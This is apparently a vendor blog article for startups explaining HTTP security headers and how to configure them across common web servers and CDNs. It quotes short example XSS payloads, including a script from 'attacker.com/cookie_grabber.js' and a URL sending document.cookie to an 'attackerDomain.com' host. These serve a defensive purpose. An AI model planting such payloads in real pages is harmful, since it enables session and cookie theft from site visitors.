Cybersecurity for startups – enable HTTP security headers
Startups can secure their websites by hardening their web applications with client-side security like HTTP security headers to improve their resilience against many common web attacks. These common web attacks include cross-site scripting (XSS), man-in-the-middle, clickjacking, and many others. Security headers can prevent these attacks by providing web browsers with instructions, better known as directives, to follow to behave more securely. As a result, configuring security defenses in web browsers with HTTP security headers is paramount for rapidly boosting cybersecurity for startups.
Let’s examine the importance of security headers by going over what they are, their functions, how they mitigate web attacks, and how to configure them with various web servers.
!This article is part of the series “Cybersecurity for startups”. The previous one describes the process of configuring an edge security service.
HTTP security headers and their functions
HTTP security headers implement client-side security for web browsers. Client-side security implements technologies and policies that protect an end user from malicious activity on the front-end, e.g., dynamic web pages accessed from an end user’s device.
Modern web browsers embed a bundle of robust client-side security features startups can leverage, such as HTTP security headers, which are only enabled by a web browser if it supports them. Web developers or staff in charge of securing a startup’s web app can control which HTTP security headers a web server can send based on decisions that can make their website more secure.
HTTP security headers are HTTP response headers designed to enhance the security of a startup’s website. The HTTP security headers communicate between the client-side such as a web browser with a server specifying the security-related details of HTTP communication. They instruct web browsers on how to behave securely and prevent browsers from executing vulnerabilities, such as cross-site scripting (XSS), that would endanger the end users who visit a startup’s website.
List of Security Headers
Here is a list of security headers and an overview of how they enhance the security of a website.
- Content-Security-Policy (CSP)
- HTTP Strict-Transport-Security (HSTS)
- X-Frame Options
- X-XSS-Protection
- X-Content-Type-Options
- Set-Cookie flags
- Referrer Policy
- Permissions-Policy
- X-Permitted-Cross-Domain Policies
- Cross-Origin Resource Sharing (CORS)
Content-Security-Policy (CSP)
The Content-Security-Policy header is one of the most important security headers that controls what the browser can load on a web page, such as scripts browsers use. It prevents cross-site scripting (XSS) attacks that load scripts from a malicious domain.
For example, if a malicious actor specifies an external script source like the one in the example below, the browser will not load the script if the web page’s CSP does not allow scripts from random domains (see example below).
<script src="attacker.com/cookie_grabber.js"></script> |
The CSP can block inline scripts and event-handling HTML attributes by default and prevent malicious scripts like these.
<script>SOMETHING MALICIOUS</script> |
<img src='img_source' onerror=SOMETHING MALICIOUS> |
The CSP header is specified by using content security policy, then a list of resource types and the origins allowed for that resource type.
Content-Security-Policy: RESOURCE-TYPE ORIGIN ORIGIN ORIGIN … |
There are numerous directives for the content security policy and include default-src
, object-src
, img-src
, font-src
, media-src
, and others.
But the most important directive for this policy is script-src
, which defines where scripts are loaded from.
Let’s assume that the application contains an XSS vulnerability that a malicious user can exploit. To exploit such a vulnerability, a malicious actor can use a variety of payloads. This code snippet lists a few different options:
<!-- Inline code --> <!-- Code block --> <!-- Remote code file --> |
CSP aims to prevent the execution of each of these attack vectors. To achieve that, CSP enforces restrictions on which script code can be executed with the script-src policy. Below shows a CSP response header with a minimal policy configuration:
Content-Security-Policy: script-src 'self' https://www.zigrin.com |
👆This policy restricts the source of scripts to the current domain which is self and “www.zigrin.com”.
In the following example below, CSP with the script-src
policy blocks a malicious script code such as ‘https://evil.com/code.js’ from being executed to the current domain.
The default-src
directive defines the policy for any resource that does not already have a policy. For example, this policy (see below) tells the browsers that all scripts should come from subdomains of “zigrin.com”, and all other resources should only load from the current domain.
Content-Security-Policy: default-src 'self'; script-src https://*.zigrin.com |
This policy tells the browser to only load images from cdn.zigrin.com and to only load scripts from its own domain and Google Analytics.
Content-Security-Policy: |
HTTP Strict-Transport-Security (HSTS)
The Strict-Transport-Security header forces the browser to communicate with HTTPS, the encrypted version of the HTTP protocol. Strictly using HTTPS helps to protect websites against man-in-the-middle (MitM) attacks such as protocol downgrade attacks and cookie hijacking.
The Strict-Transport-Security header works by forcing the browser to communicate with HTTPS instead of HTTP.
The header example below has two configuration options: max-age
and includeSubDomains
. max-age
is the number of seconds the browser should remember this setting. And if includeSubDomains
is selected, the settings will apply to any subdomains of the site as well.
Strict-Transport-Security: max-age=31536000 ; includeSubDomains |
Ideally, this header should be set on all pages of the site to force browsers to use HTTPS.
X-Frame Options
The X-Frame-Options header prevents clickjacking attacks. Clickjacking is when attackers frame the victim site as a transparent layer on a malicious page to trick users into executing unwanted actions.
This header instructs the browser if a web page’s contents could be rendered in an iframe.
There are three options: DENY
, SAMEORIGIN
, and ALLOW-FROM
.
X- Frame-Options: DENY (You cannot frame a web page) |
X-XSS-Protection
The X-XSS-Protection header controls the XSS auditor on the user’s browser. It stops pages from loading when they detect reflected cross-site scripting (XSS) attacks. There are four options for this header.
X-XSS-Protection: 0 (Turns off XSS Auditor) |
Because XSS auditors are built-in XSS filters that help attackers bypass XSS controls, they can create security flaws and are no longer reliable for securing a website. As a result, Microsoft removed the XSS filter from Edge, Google had already decided to deprecate Chrome’s XSS auditor, and Mozilla has not bothered to implement it in Firefox.
The current best practice is to turn off the XSS auditor and implement CSP on top of the comprehensive XSS protection on the server side.
X-XSS-Protection: 0 |
X-Content-Type-Options
The X-Content-Type-Options header prevents MIME-sniffing. MIME-sniffing is when browsers try to determine a document’s file type by examining its contents and ignoring the server’s instructions set in the Content-Type Header.
The problem with MIME-sniffing is that although it can be a useful feature, it can lead to vulnerabilities. For example, an attacker can upload a JavaScript file with the extension of an image file. When others try to view the image, their browsers detect that the file is a JavaScript file and execute it instead of rendering it as an image.
Setting this header to nosniff
will prevent MIME-sniffing:
X-Content-Type-Options: nosniff |
Your website can decide how the browser renders files by setting the Content-Type response header. It’s also possible to use a separate subdomain to host user-uploaded content to prevent potential XSS attacks on the main domain.
Set-Cookie flags
Cookies play a role in web security. Servers set cookies by sending the aptly-named Set-Cookie header in their response. The Set-Cookie HTTP response header sends a cookie from the server to the client so that the client can send it back to the server later. For example, if you want to send multiple cookies, there should be multiple Set-Cookie headers sent in a response.
There are three cookie flags or attributes of the Set-Cookie header which help secure the browser.
The three cookie flags are:
httponly
secure
same-site
The three cookie flags that are addressed by some modern browsers protect against attacks such as cross-site request forgery (CSRF) and man-in-the-middle attacks for example.
The httponly cookie prevents access to cookie values by forbidding JavaScript from accessing the cookies, which protects against cross-site scripting (XSS) attacks.
For example, let’s say a web page is storing a session cookie and there is some input field vulnerable to XSS. A malicious attacker can inject script making a HTTP request to a url similar to the following:
`https://attackerDomain.com/cookie=${document.cookie}` |
This works because document.cookie
is accessible for any JavaScript code and prints all the cookies being used in the current domain. Moreover, if a session is stored, a malicious attacker can gain access to the user’s current session. httponly
cookie flags prevent this attack.
The same-site
cookie prevents the browser from sending this cookie along with cross-site requests. The main goal is to mitigate the risk of cross-origin information leakage. It allows you to declare if your cookie should be restricted to a first-party or same-site context. Same-site provides some protection against cross-site request forgery (CSRF) attacks. Possible values for the flag are none, lax, or strict.
A secure
cookie is only sent to the server with an encrypted request over the HTTPS protocol. It helps mitigate man-in-the-middle attacks or malicious attackers from eavesdropping on the communication channel from the browser to the server and reading the cookie.
Cross-Origin Resource Sharing (CORS)
Cross-Origin Resource Sharing (CORS) is a security header that allows a server to indicate any origins (domain, scheme, or port) other than its own from which a browser should permit loading resources. It is a mechanism that allows restricted resources on a web page that may freely embed images, stylesheets, scripts, iframes, and videos to be requested from another domain outside the domain from which the first resource was served.
CORS is implemented on top of HTTP so that the backend can tell the browser to authorize front-back interactions. It consists of a “preflight” request to the server hosting the cross-origin resource, in order to check that the server will permit the actual request. In that preflight, the browser sends headers that indicate the HTTP method and headers that will be used in the actual request. Modern browsers use CORS in APIs such as XMLHttpRequest
or Fetch
to mitigate the risks of cross-origin HTTP requests. CORS protects the site receiving the cross origin requests. This is why the allowed origins are up to the targeted server.
Here is an example of a cross-origin request:
The front-end JavaScript code served from https://zigrin-a.com
uses XMLHttpRequest
to make a request for https://zigrin-b.com/data.json
.
For security reasons, browsers restrict cross-origin HTTP requests initiated from scripts. For example, XMLHttpRequest
and the Fetch API
follow the same-origin policy (SOP). This means that a web application using those APIs can only request resources from the same origin the application was loaded from unless the response from other origins includes the right CORS headers.
This cross-origin sharing standard can enable cross-origin HTTP requests for:
- Invocations of the
XMLHttpRequest
orFetch APIs
. - Web Fonts (for cross-domain font usage in @font-face within CSS), so that servers can deploy TrueType fonts that can only be loaded cross-origin and used by web sites that are permitted to do so.
- WebGL textures
- Images/video frames drawn to a canvas using
drawImage()
- CSS Shapes from images.
Here is an example of a user visiting http://www.zigrin.com
and the landing page attempting a cross-origin request to fetch the user’s data from http://service.zigrin.com
. A CORS-compatible browser will attempt to make a cross-origin request to service.zigrin.com
as follows.
- The browser sends the GET request with an extra
Origin
HTTP header toservice.zigrin.com
containing the domain that served the parent page:
Origin: http://www.zigrin.com |
- The server at
service.zigrin.com
sends one of these three responses:
- The requested data along with an Access-Control-Allow-Origin (ACAO) header in its response indicating the requests from the origin are allowed. For example in this case it should be:
Access-Control-Allow-Origin: http://www.zigrin.com |
- The requested data along with an Access-Control-Allow-Origin (ACAO) header with a wildcard indicating that the requests from all domains are allowed:
Access-Control-Allow-Origin: * |
- An error page if the server does not allow a cross-origin request
Note: Access-Control-Allow-Origin supports wildcards. However, wildcards cannot be used within any other value. For example, the following header is not valid:
Access-Control-Allow-Origin: https://*.zigrin.com |
A wildcard same-origin policy is appropriate when a page or API response or any code on any site is considered completely public content and is intended to be accessible to everyone, and is used in the object-capability model, where pages have unguessable URLs and are meant to be accessible to anyone who knows the secret.
The value of “*” is special in that it does not allow requests to supply credentials, meaning that it does not allow HTTP authentication, client-side SSL certificates, or cookies to be sent in the cross-domain request.
The Access-Control-Allow-Origin
header is included in the response from one website to a request originating from another website, and identifies the permitted origin of the request. A web browser compares the Access-Control-Allow-Origin
with the requesting website’s origin and permits access to the response if they match.
Referrer Policy
The Referrer-Policy header tells the browser when to send Referrer information. This security header can help prevent information leakages offsite via Referrer URLs. There are many options for this header, the most useful ones being no-referrer, origin, origin-when-cross-origin, and same-origin. *Note: This security header does not misspell “referrer” such as other HTTP header “Referer.”
R eferrer-Policy: no-referrer (Do not send referer) |
A startup should consider using one of the above options as their Referrer-Policy header because they all protect against user info leaks via URLs, path or parameter. In addition to setting the correct Referrer-Policy header, startups should also avoid transporting sensitive information in URLs if possible for security purposes.
Permissions-Policy
The Permissions-Policy header lets you enable and disable browser features, such as allowing or disallowing web pages from accessing an end user’s camera, microphone, or speaker. This security header makes it easy for web developers to build websites that protect end users’ privacy and security.
Here is what the Permissions-Policy header looks like:
P ermissions-Policy: FEATURE ORIGIN; FEATURE ORIGIN |
You can also specify the specific domain where the feature is allowed:
Permissions-Policy: microphone=(self "https://example.com") |
X-Permitted-Cross-Domain
The X-Permitted-Cross-Domain header instructs the browser on how to handle requests over a cross-domain. By implementing this header, you restrict loading your site’s assets from other domains to avoid resource abuse, especially when using Adobe products like PDF, Flash, etc.
Why Security Headers Are Important
Real-life threats such as client-side attacks can have devastating consequences. Let’s look at a Magecart attack, also known as a payment skimming or e-skimming attack as an example.
A Magecart attack operates by using a small piece of code, which is inserted into a website to skim information from customers. Most often, it’s inserted into payment pages, where it acts as an online credit-card skimmer, pulling the personal information and credit card details of anyone who comes across it. E-commerce platforms are especially at risk for these types of attacks.
Some household names that were affected by this attack are:
Most notably was the Magecart attack that Ticketmaster fell victim to. It was the largest payment card theft in history which impacted nearly a thousand e-commerce websites around the world. The Magecart website supply chain attack leveraged digital website payment card skimming that victimized over 800 global merchants for over a whopping 3 years.
Before applying an HTTP security header for mitigating web attacks, make sure to check whether it’s compatible with the browsers of your users.
Configuring a Security Header
After your startup has determined which headers are appropriate to use, listed below are several ways you can configure security headers with various web servers depending on the server your startup may use.
Here is a list of web servers listed below with examples of how security headers are configured with them.
- Nginx
- Apache
- Apache Tomcat
- IIS
- Lighttpd
- Firebase
- WordPress
Nginx
In Nginx, you can add a header by adding these lines to your website’s configuration.
add_header X-Frame-Options SAMEORIGIN always; |
Apache
In Apache, the syntax is similar.
Header always set X-Frame-Options "SAMEORIGIN" |
Apache Tomcat
Before configuring security headers in Apache Tomcat, it is best practice to have a backup copy of the necessary configuration file before making changes or testing in a non-production environment.
Then follow these steps.
- Login to Tomcat server
- Go to the conf folder under path where Tomcat is installed
- Uncomment the following filter (it’s commented by default)
<filter> |
By uncommenting above, you instruct Tomcat to support the HTTP Header Security filter.
- Next, add the following after the above filter (see below).
<filter-mapping> |
By adding the above, you instruct Tomcat to inject the HTTP Header Security in the application URL.
- Lastly, restart the Tomcat and access the application with developers tools to verify the headers.
Lighttpd
You can add security headers to the Lighttpd server by editing your Lighttpd configuration file and adding the following code for each security header.
For example, to send the Strict-Transport-Security header (HSTS) edit the configuration file:
setenv.add-response-header = ("Strict-Transport-Security" => "max-age=63072000; includeSubdomains",) |
To send the X-Frame-Options header, edit the configurations file and include: setenv.add-response-header = (“X-Frame-Options” => “DENY”,)
To send the X-XSS-Protection header, add the following.
setenv.add-response-header = (“X-XSS-Protection” => “1; mode=block”,)
To send the Content-Security-Policy header, do this.
setenv.add-response-header = ("Content-Security-Policy" => "script-src 'self'; object-src 'self'",) |
To send X-Content-Type Options, do this.
setenv.add-response-header = ("X-Content-Type-Options" => "nosniff",) |
To send X-Permitted-Cross-Domain policies, do this.
setenv.add-response-header = ("X-Permitted-Cross-Domain-Policies" => "none",) |
IIS
Finally, you can configure headers in IIS by adding custom headers to your website’s configuration file (see below).
<configuration> |
You can also open the IIS Manager and follow these steps (see photo below for reference):
- Open IIS Manager
- Select the Site you need to enable the header for
- Go to “HTTP Response Headers.”
- Click “Add” under actions
- Enter name, value and click ‘OK’
Firebase
Major cloud providers also give you options to customize the security headers you use. For instance, if you use Firebase, you can add security headers into the firebase.json
file. Add a headers
key to the JSON file with the security headers you want to add as its values:
"headers": [ |
AWS Cloudfront
To add HTTP security headers to Amazon Cloudfront responses, do this.
Use the managed security headers response policy which includes the pre-defined values for the most common HTTP security headers. Or, you can create a custom response header policy with custom security headers and values that can be added to the required CloudFront behavior.
Create a custom response headers policy from the AWS console
- Open the CloudFront console.
- From the navigation menu, choose Policies. Then, choose Response headers.
- Choose Create response headers policy.
- Under Security headers, select each of the security headers that you want to add to the policy. Add or select the required values for each header.
- Under Custom headers, add the custom security headers and values that you want CloudFront to add to the responses.
- Fill out other fields as required. Then, select Create.
Attach response headers policy to a cache behavior
After you create a response headers policy, attach it to a cache behavior in a CloudFront distribution. To attach a managed or custom security headers response policy to an existing CloudFront distribution:
- Open the CloudFront console.
- Choose the distribution you want to update.
- Under the Behaviors tab, select the cache behavior you want to modify. Then, choose Edit.
- For Response headers policy, choose SecurityHeadersPolicy or choose the custom policy that you created.
- Choose Save changes.
The following is an example of CloudFront response with HTTP security response headers:
curl -I https://dxxxxxxxbai33q.cloudfront.net server: AmazonS3 |
Cloudflare
To configure security headers with Cloudflare follow these steps:
- Log into your Cloudflare account and click on Workers.
- Choose a subdomain name (e.g., Zigrin2022) to be created under workers.dev on Cloudflare.
- Select your Workers plan.
- Click on Create a Service.Name your service e.g., secureheaders.
- Then select HTTP handler as the starter.
- On the Resources tab, click Edit.
- Now add some code to the worker to add the headers you want. Common security headers that can be set include: X-XSS-Protection, X-Frame-Options, X-Content-Type-Options, Permissions-Policy, Referrer-Policy, Strict-Transport-Security, Content-Security-Policy.
Cloudflare provides an example code here. You can also copy and paste the code below which includes some edits to the Cloudflare example. Additional security headers were mostly uncommented and the TLS version check was removed since TLS version control was already enabled in Cloudflare.
const DEFAULT_SECURITY_HEADERS = { "X-Frame-Options": "DENY", statusText: response.statusText, |
- After you copy and paste the code, click on Save and Deploy.
- Add a route to our new Cloudflare Worker so that it applies the code to the main domain name. So go to the Triggers tab and then click on Add Route.
10. Now add ONE of the two routes, either: *.yourdomainname.com/* OR yourdomain.com/*. If your site uses www then you’ll want the first option and if you don’t use www or other subdomains then the second option would be your pick. Then click on Add Route.
11. Voila! You’ve completed configuration! Now go to Securityheaders.com and verify the new headers on your site.
WordPress
You can configure HTTP security headers in a number of ways. You can use a plugin, you can use .htaccess or Nginx config files, or you could configure them in your application code. If you want to implement security headers on your wordpress site via a webserver such as Apache or Nginx, refer to the previous section of this article.
For WordPress websites, it’s best to use a plugin to configure HTTP security headers. You can also try adding new headers by inserting code in the functions.php
. If it doesn’t work for you, you have very restrictive web hosting, and you will have to notify your provider.
Just drop the following code into your theme’s functions.php
file (see example below).
1 /** |
This adds the Strict Transport Security header for 1 year, which is required if you want to eventually be eligible for HSTS preloading in browsers like Chrome, Firefox, and Safari.
How to Verify Security Headers
Before verifying security headers, make sure you know the OWASP Secure Headers Project (OSHP) and its guidelines to ensure the best practices are met for HTTP security headers.
These are security scanners that can be installed to scan for HTTP response headers:
The following websites can also be used to scan for HTTP response headers:
Here is an example of checking what security headers are implemented on a website.
Let’s go to securityheaders.com and scan the etsy.com domain.
Etsy.com received a C grade per the security headers report after scanning.
The scan detected that the following security headers are enabled:
- Strict-Transport-Security
- X-Frame-Options
- X-Content-Type-Options
The following security headers are not enabled per scan results:
- Content-Security-Policy
- Referrer-Policy
- Permissions-Policy
More details are listed when you go to securityheaders.com and scroll down for detailed results after scanning the above domain (etsy.com).
In contrast, when I scanned the domain owasp.org, it showed perfect results and earned an A grade which indicates that the most common security headers are enabled, rightfully so!
Per the scan above, it shows that all of the common security headers were enabled:
- Strict-Transport-Security
- Content-Security-Policy
- Permissions-Policy
- Referrer-Policy
- X-Content-Type-Options
- X-Frame-Options
Summary
Implementing security headers is an easy way of boosting cybersecurity for startups. Websites are frequently visited on a daily basis by customers (end users) from various web browsers while web applications continue to be the top favored attack vector of malicious actors. Because web threats are ubiquitous and end users must be protected from man-in-the-middle attacks, clickjacking, cross-site scripting (XSS), Magecart attacks, and many others. The reason is simple: These web attacks can have devastating effects on an individual’s financial assets which in turn can affect their personal lives. Consequently, cybersecurity for startups is fundamental and can be easily done on the client-side by implementing above mentioned security headers. Startups can make decisions to enhance the security of their websites or web applications by following best security practices and enabling the proper security headers that deem fit and appropriate for their use case. Protecting end users is critical.
!The sixth article in the series will highlight patch management process and patching requirements by different compliance regulations.
Sources:
- https://developer.okta.com/blog/2021/10/18/security-headers-best-practices#x-content-type-options
- https://securityboulevard.com/2021/05/intro-to-the-content-security-policy-csp/
- https://secure.wphackedhelp.com/blog/wordpress-security-headers/amp/
- https://geekflare.com/http-header-implementation/
- https://beaglesecurity.com/blog/article/hardening-server-security-by-implementing-security-headers.html
- https://aws.amazon.com/premiumsupport/knowledge-center/cloudfront-http-security-headers/https://developers.cloudflare.com/workers/examples/security-headers/
- https://miketabor.com/how-to-add-security-headers-to-an-aws-s3-static-website/
- https://github.com/nu11secur1ty/Secure-Headers/blob/master/Secure_Headers.md
- https://owasp.org/www-project-secure-headers/
- https://www.wpbeginner.com/beginners-guide/how-to-add-http-security-headers-in-wordpress/
- https://medium.com/swlh/secure-httponly-samesite-http-cookies-attributes-and-set-cookie-explained-fc3c753dfeb6
- https://www.makeuseof.com/same-origin-policy-sop-explained/
- https://auth0.com/blog/defending-against-xss-with-csp/
- https://resources.infosecinstitute.com/topic/securing-cookies-httponly-secure-flags/
- https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
Is this article helpful to you? Share it with your friends.